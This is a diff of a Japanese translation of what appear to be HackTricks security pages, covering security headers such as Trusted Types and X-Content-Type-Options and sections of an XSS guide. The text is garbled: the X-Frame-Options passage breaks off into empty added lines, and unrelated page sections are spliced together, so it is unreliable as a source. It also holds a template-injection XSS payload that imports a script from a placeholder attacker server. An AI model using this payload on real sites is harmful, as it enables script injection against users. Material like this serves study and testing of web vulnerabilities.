API呼び出しに使用できることを保証し、デフォルトでJavaScriptコードを保護します。 +CSPを通じて信頼されたタイプを強制することで、アプリケーションはDOM XSS攻撃から保護されます。信頼されたタイプは、特定のセキュリティポリシーに準拠した特別に作成されたオブジェクトのみが危険なWeb API呼び出しに使用できることを保証し、デフォルトでJavaScriptコードを保護します。 ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { @@ -147,17 +148,17 @@ el.innerHTML = escaped // Results in safe assignment. ``` ### **X-Content-Type-Options** -このヘッダーはMIMEタイプのスニッフィングを防ぎます。これはXSS脆弱性につながる可能性があります。サーバーによって指定されたMIMEタイプをブラウザが尊重することを保証します。 +このヘッダーは、XSS脆弱性につながる可能性のあるMIMEタイプスニッフィングを防ぎます。これは、ブラウザがサーバーによって指定されたMIMEタイプを尊重することを保証します。 ``` X-Content-Type-Options: nosniff ``` ### **X-Frame-Options** -クリックジャッキングに対抗するために、このヘッダーはドキュメントが``、` + + + + + + + + +{{constructor.constructor("import('{SERVER}/script.js')")()}} ``` ### Regex - 隠れたコンテンツへのアクセス @@ -1518,7 +1543,7 @@ xss-in-markdown.md ### 動的に作成されたPDFにおけるXSS -ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして任意のJSコードを実行させる**ことを試みることができます。\ +ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことを試みることができます。\ したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、あなたはこの動作を**悪用**して**サーバーXSS**を引き起こすことができます。 {{#ref}} @@ -1535,7 +1560,7 @@ pdf-injection.md AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。 -[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。 +[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内でコンテンツと直接対話できるようにします。 例：[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。 @@ -1612,5 +1637,6 @@ other-js-tricks.md - [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) - [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) +- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) {{#include ../../banners/hacktricks-training.md}}